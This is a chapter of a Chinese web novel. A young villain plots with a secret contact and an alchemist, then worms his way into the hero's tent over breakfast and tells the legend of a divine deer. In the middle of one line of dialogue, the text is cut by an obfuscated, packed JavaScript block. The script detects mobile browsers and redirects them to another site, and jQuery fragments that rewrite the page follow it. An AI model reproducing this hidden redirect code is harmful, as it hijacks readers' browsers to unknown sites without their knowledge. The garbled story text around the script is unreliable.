黑发少年小声对组织暗线低语了几句,七幺幺露出的瞳孔震颤,声音也抖了起来,“大人,您……确定要这么做吗?”
“不入虎穴焉得虎子!”乌镶月理直气壮。
七幺幺深深看了一眼这位如今还在组织里默默无名的成员,轻轻抽口气,点了点头。
“明白了。”
这位大人……以后一定是个厉害人物吧。
乌镶月看着离去的七幺幺,不知为何,从那个挺拔的身影上读出了一股萧瑟的味道。
“阿秋!”他搓了搓胳膊,确定了萧瑟的不是七幺幺,而是倒春寒的晚上跑出来的自己。
黑发少年一转头,趁着夜色,偷偷回到了军医的地盘。
一个小时后。
充斥着各色药剂的实验室里,季星·戴纳打着哈欠,看着打扮得跟树干似的七幺幺,“找我什么事?”
七幺幺恭敬地递上纸条,“季星大人,这是一个潜伏进帝国军的组织成员,要求我转交给您的。”
“帝国军?哦,无相大人的暗桩啊。”季星·戴纳想起来当时会议上的事,才接过这张字条。
但他刚看清字条上的内容,那点子睡意一瞬消失得一干二净。
“这是……”炼金术师从容不迫的脸上第一次出现难以言喻的表情,他看向七幺幺,“他真的要这个?这种东西……真的有用?”
“嗯。”七幺幺显然已经理解了什么,语气平稳中藏着一丝超脱,“没有任何错误。请您尽快准备,接下来的时间不多。”
“做这种东西,简直有损我的名声!而且、而且……”炼金术师不断将纸条在指尖碾来碾去。
七幺幺一言不发,只沉默望着他。眼里是经过大风大浪的沉稳。
季星·戴纳深呼吸,转头看看自己宝贝的设备,又看看略带麻木的七幺幺,最后想起了在会议上的无相。
终于一咬牙,一点头。
“……行,我做。”
无相大人的暗桩,肯定非等闲之辈,这么做一定有他的道理!
寂静的深夜,实验室的研究方向开始转向不可预测的道路。
乌镶月对此一无所知。
为了确保计划顺利实施,他一早就跑去伙房,拿了自己仗着勇者名义分到的两张饼子,在帝国军守卫若有若无的目光下,蹲守在主帅营附近。
等逄星洲和巫庚从通宵聊了一夜的主帅营出来,想要去洗漱清醒一下的时候,一个黑影突然炮弹一样冲了过来。
“谁……!”
巫庚眼睛泛着血丝,没看清冲过来的一团黑是什么玩意,下意识就要扔身上的炼金道具。
“等下,”逄星洲及时拦下了他,又一伸手,阻止了来人差点摔倒的动作,完美平衡了两边,才转头露出了温和友善的笑容,“有什么事吗?阿月。”
阿月是乌镶月昨天的自称,他没打算说出全名,担心会泄露底细,好在主角团不在意这件事。
“我……”黑发少年瞥他们一眼,咬了咬唇,又瞟他们一眼,才慢吞吞把藏在身后的东西举了过来,“这个……给你们。”
藏在油纸袋里,露出一角,不再泛着白气,却依旧能闻到麦子香气的两个饼子。
是帝国军特供的早餐,在普通士兵之间很是抢手,去晚了就没有了。
这恐怕是阿月一大早去领的,一个人只能领两个,他一个都没吃,大概是想回报昨天的恩情,才专门等在这里。
想到这里,逄星洲平视少年,“谢谢你,但我们不能收。”
这话一出,黑发少年亮晶晶的眼眸马上黯淡下来,珍惜地捧在手中的饼子也被一瞬间攥紧。
他扭过脸,神色不明,脚尖却往外点,像是受惊想跑的兔子,“我,我也不是必须要给你们……”
巫庚微微皱眉,不赞同地瞥他一眼,似乎要伸手接过饼子。
逄星洲却朝巫庚摇头,又望向少年,“阿月,你没吃早饭对吧。”
“不,我……”没等说完,黑发少年肚子骤然发出的咕噜声已经给出了答案。
金发勇者笑了一声,却不是恶意的,他对耳朵发红的少年发出邀请,“既然我们都没有吃饭,那要不要一起?”
“不了,我……”黑发少年猛地摇头,脸红得快冒烟了。
巫庚也明白过来,跟着道:“今天的早餐,似乎有鹿肉。”
在重重诱惑下,原本一脸羞耻的少年人,终于小心翼翼地开口,“我真的可以一起吗?”
“当然。”金发勇者也给出了想象中的回答。
顺理成章的,被勇者带来的少年成功进入了逄星洲的帐篷。所以谁也没有注意到,少年羞怯的表情里藏着的那一抹古怪的笑意。
计划通!
虽然没能进入主帅营,但能进入勇者的帐篷,还是被请进去的,作为反派来说,已经是了不起的里程碑了。
乌镶月坐在桌子旁的坐垫上,没有四处乱瞟,规矩地吃着特供给勇者的早餐。
说是特供,但吃得也不是特别好,除了松软一些的饼子,只比普通士兵多了一杯不知道什么动物的奶,以及之前说好的鹿肉。
或许是顾忌他在场,逄星洲和巫庚没有聊行军的话题,仅仅就今天的早餐聊了几句。
“今天的鹿肉是前天去周边设防的时候顺便打的那只吧。”
“应该是。这是什么奶,腥味比一般的重不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15918366|175778||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
少。”
乌镶月听了一会,在对话的间隙加入了其中。
“勇者大人们,你们去过周边的话,有见过传说中的神鹿吗?”
巫庚:“神鹿?”
逄星洲冰蓝的眼眸也转了过来,“是这里的本地传说吗?我们第一次来,那是什么动物?”
果然,作为与圣铭教关系较深的勇者,对神明之类的东西会比较敏感。
乌镶月心下稍松,将故事娓娓道来。
“神鹿是利尔森林里一个传说。曾有猎户冬日去打猎,不幸遇上了雪崩,被埋到了厚重的雪里,动弹不得。就在他绝望至极,以为要就此死去的时候,上方传来了窸窸窣窣的声音。随后,他上方的雪层竟一点一点变薄了。他心生希望,用尽全身最后一丝力量逃出了雪层。劫后余生,他准备向那个救命恩人道谢。但环顾一圈,周围根本没有人,只有一只雪白的林鹿,远远望了他一眼,然后轻盈跳走了。”
“那就是所谓的神鹿?”巫庚不以为然,“可能只是凑巧。白色的鹿不算特别少见,冬日的动物出来寻找的食物,无意中挖出了他也不无可能。”
“一开始大家也是这么说的,但后来类似的事多了起来。”
“有孩子在林中迷路了两天,据说得到了神鹿指引才成功出来。有意图寻死的落魄男人,跳下悬崖却被神鹿搭救。还有被狼群围攻的过路人,也是得到了神鹿帮助才逃走。渐渐的,大家就开始说,它是神鹿在关键时刻出现,需要帮助的人。”
逄星洲听到此处,才开口:“你对神鹿的事知道得这么清楚,是有什么需要帮助的事吗?”
黑发少年原本兴致勃勃的神色一僵,抿了抿唇,“……只是一点小事。”
“如果是小事,为什么要求助一只传说中的鹿?”巫庚盯着他,语气不自觉变得咄咄逼人。
“不要着急,”金发勇者对同伴劝了一句,转头温声说,“正如之前承诺的那样,无论什么时候,只要你需要,我就会帮助你。”
真不愧是勇者。面对一个昨天刚认识的人也愿意这样对待,和高高在上的贵族真是大不相同。如果是普通人,这个时候大概已经感激涕零,千恩万谢了。
可惜,他是小反派。
“勇者大人们,来到这里一定是有自己的事要做的吧。”乌镶月垂下眼眸,语气平静,“比起大人们的事,我的事微不足道,不值一提,不能因此耽误你们的时间。所以不必担心,倘若真的……不,没什么。我吃饱了,感谢招待。”
不知想到了什么,黑发少年态度突然变得恭敬而冷淡,头也不回跑走了。
逄星洲目送他离开,眉头不自觉皱了起来,和巫庚对视一眼。
“他隐瞒了我们很重要的事。”
巫庚瞥向对面没有吃多少的餐点,“谁都看得出来,他估计以为自己隐瞒得很好。”
但那样子简直像是害怕再晚一步就会忍不住说出来似的。
金发勇者指尖敲击桌面,叹了口气,“虽然他不愿意告诉我们,但……”
“你的老毛病又犯了。”巫庚啧了一声,“我知道了,我会派人看着他的,不会让他出事。至于你,就省点事,准备准备明天的行程吧,我们明天就要开战,你可不能分心。”
想到这里,他有一瞬间怀疑黑发少年是不是故意在开战前说这话,但又很快打消念头。
应该不是,否则那个少年就不用故意表现得冷淡了。
此时此刻的两人都没有想到,会在傍晚得知一个意外的消息。
“阿月被绑架了?”